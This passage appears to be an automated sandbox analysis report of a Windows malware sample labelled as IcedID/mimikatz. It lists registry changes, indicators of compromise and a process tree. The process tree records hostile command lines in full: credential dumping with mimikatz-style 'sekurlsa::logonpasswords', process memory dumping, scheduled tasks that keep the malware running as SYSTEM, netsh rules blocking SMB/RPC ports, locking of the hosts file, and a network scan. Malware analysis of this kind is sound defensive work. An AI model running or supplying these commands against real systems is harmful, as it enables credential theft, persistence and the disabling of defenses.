\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-100 = "EAP Quarantine Enforcement Client" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000004000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0026000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\1e-2e-e6-5a-c8-12\WpadDecisionReason = "1" pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root pfseynr.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0026000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs pfseynr.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{70FB50B1-7A59-4864-B827-E85EB8950F57}\WpadDecisionTime = 80bfa593e088da01 pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software\Sysinternals\ProcDump rilkvsrev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Sysinternals\ProcDump\EulaAccepted = "1" rilkvsrev.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs pfseynr.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{70FB50B1-7A59-4864-B827-E85EB8950F57}\WpadDecisionTime = 602d01cce088da01 pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{70FB50B1-7A59-4864-B827-E85EB8950F57}\WpadNetworkName = "Network 2" pfseynr.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102 = "1.0" netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Key created \REGISTRY\USER\.DEFAULT\Software rilkvsrev.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe - Modifies registry class 14 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ = "txtfile" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ = "txtfile" pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.VBE\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.ps1\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.js\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbe\ pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.cmd\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.vbs\ pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ pfseynr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.reg\ = "txtfile" pfseynr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ pfseynr.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8 pfseynr.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827 pfseynr.exe - Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
pid Process 2856 PING.EXE - Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs
pid Process 1472 pfseynr.exe 3564 pfseynr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe - Suspicious behavior: LoadsDriver 31 IoCs
pid Process 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found 464 Process not Found - Suspicious behavior: RenamesItself 1 IoCs
pid Process 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe - Suspicious use of AdjustPrivilegeToken 19 IoCs
description pid Process Token: SeDebugPrivilege 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe Token: SeDebugPrivilege 2612 pfseynr.exe Token: SeDebugPrivilege 2576 pfseynr.exe Token: SeDebugPrivilege 2832 vfshost.exe Token: SeLockMemoryPrivilege 2748 eeknlv.exe Token: SeAuditPrivilege 2916 svchost.exe Token: SeDebugPrivilege 1792 rilkvsrev.exe Token: SeShutdownPrivilege 1792 rilkvsrev.exe Token: SeLockMemoryPrivilege 2748 eeknlv.exe Token: SeDebugPrivilege 1672 rilkvsrev.exe Token: SeShutdownPrivilege 1672 rilkvsrev.exe Token: SeDebugPrivilege 2796 rilkvsrev.exe Token: SeShutdownPrivilege 2796 rilkvsrev.exe Token: SeDebugPrivilege 2744 rilkvsrev.exe Token: SeShutdownPrivilege 2744 rilkvsrev.exe Token: SeDebugPrivilege 2772 rilkvsrev.exe Token: SeShutdownPrivilege 2772 rilkvsrev.exe Token: SeDebugPrivilege 2560 rilkvsrev.exe Token: SeShutdownPrivilege 2560 rilkvsrev.exe - Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 2612 pfseynr.exe 2612 pfseynr.exe 2576 pfseynr.exe 2576 pfseynr.exe 2648 xohudmc.exe 2448 ssssgc.exe 1472 pfseynr.exe 1472 pfseynr.exe 3564 pfseynr.exe 3564 pfseynr.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2060 wrote to memory of 2072 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 27 PID 2060 wrote to memory of 2072 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 27 PID 2060 wrote to memory of 2072 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 27 PID 2060 wrote to memory of 2072 2060 2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe 27 PID 2072 wrote to memory of 2856 2072 cmd.exe 29 PID 2072 wrote to memory of 2856 2072 cmd.exe 29 PID 2072 wrote to memory of 2856 2072 cmd.exe 29 PID 2072 wrote to memory of 2856 2072 cmd.exe 29 PID 2072 wrote to memory of 2612 2072 cmd.exe 30 PID 2072 wrote to memory of 2612 2072 cmd.exe 30 PID 2072 wrote to memory of 2612 2072 cmd.exe 30 PID 2072 wrote to memory of 2612 2072 cmd.exe 30 PID 2576 wrote to memory of 2584 2576 pfseynr.exe 32 PID 2576 wrote to memory of 2584 2576 pfseynr.exe 32 PID 2576 wrote to memory of 2584 2576 pfseynr.exe 32 PID 2576 wrote to memory of 2584 2576 pfseynr.exe 32 PID 2584 wrote to memory of 2528 2584 cmd.exe 34 PID 2584 wrote to memory of 2528 2584 cmd.exe 34 PID 2584 wrote to memory of 2528 2584 cmd.exe 34 PID 2584 wrote to memory of 2528 2584 cmd.exe 34 PID 2584 wrote to memory of 2408 2584 cmd.exe 35 PID 2584 wrote to memory of 2408 2584 cmd.exe 35 PID 2584 wrote to memory of 2408 2584 cmd.exe 35 PID 2584 wrote to memory of 2408 2584 cmd.exe 35 PID 2584 wrote to memory of 2912 2584 cmd.exe 37 PID 2584 wrote to memory of 2912 2584 cmd.exe 37 PID 2584 wrote to memory of 2912 2584 cmd.exe 37 PID 2584 wrote to memory of 2912 2584 cmd.exe 37 PID 2584 wrote to memory of 2960 2584 cmd.exe 38 PID 2584 wrote to memory of 2960 2584 cmd.exe 38 PID 2584 wrote to memory of 2960 2584 cmd.exe 38 PID 2584 wrote to memory of 2960 2584 cmd.exe 38 PID 2584 wrote to memory of 2928 2584 cmd.exe 39 PID 2584 wrote to memory of 2928 2584 cmd.exe 39 PID 2584 wrote to memory of 2928 2584 cmd.exe 39 PID 2584 wrote to memory of 2928 2584 cmd.exe 39 PID 2584 wrote to memory of 2396 2584 cmd.exe 40 PID 2584 wrote to memory of 2396 2584 cmd.exe 40 PID 2584 wrote to memory of 2396 2584 cmd.exe 40 PID 2584 wrote to memory of 2396 2584 cmd.exe 40 PID 2576 wrote to memory of 2716 2576 pfseynr.exe 42 PID 2576 wrote to memory of 2716 2576 pfseynr.exe 42 PID 2576 wrote to memory of 2716 2576 pfseynr.exe 42 PID 2576 wrote to memory of 2716 2576 pfseynr.exe 42 PID 2576 wrote to memory of 2760 2576 pfseynr.exe 44 PID 2576 wrote to memory of 2760 2576 pfseynr.exe 44 PID 2576 wrote to memory of 2760 2576 pfseynr.exe 44 PID 2576 wrote to memory of 2760 2576 pfseynr.exe 44 PID 2576 wrote to memory of 1636 2576 pfseynr.exe 46 PID 2576 wrote to memory of 1636 2576 pfseynr.exe 46 PID 2576 wrote to memory of 1636 2576 pfseynr.exe 46 PID 2576 wrote to memory of 1636 2576 pfseynr.exe 46 PID 2576 wrote to memory of 1960 2576 pfseynr.exe 48 PID 2576 wrote to memory of 1960 2576 pfseynr.exe 48 PID 2576 wrote to memory of 1960 2576 pfseynr.exe 48 PID 2576 wrote to memory of 1960 2576 pfseynr.exe 48 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 1960 wrote to memory of 332 1960 cmd.exe 50 PID 332 wrote to memory of 320 332 wpcap.exe 51
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:904
-
C:\Windows\TEMP\ncelurtrj\eeknlv.exe"C:\Windows\TEMP\ncelurtrj\eeknlv.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2748
-
-
C:\Users\Admin\AppData\Local\Temp\2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe"C:\Users\Admin\AppData\Local\Temp\2024-04-07_2420126afe95f44ea3edb51cbc7084b3_hacktools_icedid_mimikatz.exe"1⤵
- Drops file in Windows directory
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\ykuemqcz\pfseynr.exe2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2856
-
-
C:\Windows\ykuemqcz\pfseynr.exeC:\Windows\ykuemqcz\pfseynr.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2612
-
-
-
C:\Windows\ykuemqcz\pfseynr.exeC:\Windows\ykuemqcz\pfseynr.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2528
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵PID:2408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2912
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵PID:2960
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2928
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵PID:2396
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Modifies data under HKEY_USERS
PID:2716
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Modifies data under HKEY_USERS
PID:2760
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Modifies data under HKEY_USERS
PID:1636
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exeC:\Windows\rbggpfcfq\uvnzszfjl\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:332 -
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵PID:320
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵PID:2172
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵PID:1568
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵PID:2680
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵PID:1764
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵PID:2132
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵PID:2976
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵PID:2672
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2296
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2988
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:3056
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵PID:2164
-
C:\Windows\SysWOW64\net.exenet start npf3⤵PID:2104
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵PID:2204
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt2⤵
- Loads dropped DLL
PID:432 -
C:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exeC:\Windows\rbggpfcfq\uvnzszfjl\clmskurrz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\rbggpfcfq\uvnzszfjl\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1512
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\rbggpfcfq\Corporate\log.txt2⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:2948 -
C:\Windows\rbggpfcfq\Corporate\vfshost.exeC:\Windows\rbggpfcfq\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2832
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"2⤵PID:2968
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:2820
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ckuenbcru" /ru system /tr "cmd /c C:\Windows\ime\pfseynr.exe"3⤵
- Creates scheduled task(s)
PID:2220
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"2⤵PID:2200
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1284
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "mqliugrvu" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ykuemqcz\pfseynr.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1596
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"2⤵PID:868
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵PID:1276
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "ravchtuqt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\ncelurtrj\eeknlv.exe /p everyone:F"3⤵
- Creates scheduled task(s)
PID:1984
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵PID:1244
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2984
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:2072
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2532
-
-
C:\Windows\TEMP\rbggpfcfq\rilkvsrev.exeC:\Windows\TEMP\rbggpfcfq\rilkvsrev.exe -accepteula -mp 904 C:\Windows\TEMP\rbggpfcfq\904.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1792
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Modifies data under HKEY_USERS
PID:384
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵PID:2488
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵PID:1952
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵PID:564
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵PID:2152
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Modifies data under HKEY_USERS
PID:2348
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Modifies data under HKEY_USERS
PID:1412
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Modifies data under HKEY_USERS
PID:2280
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵PID:1808
-
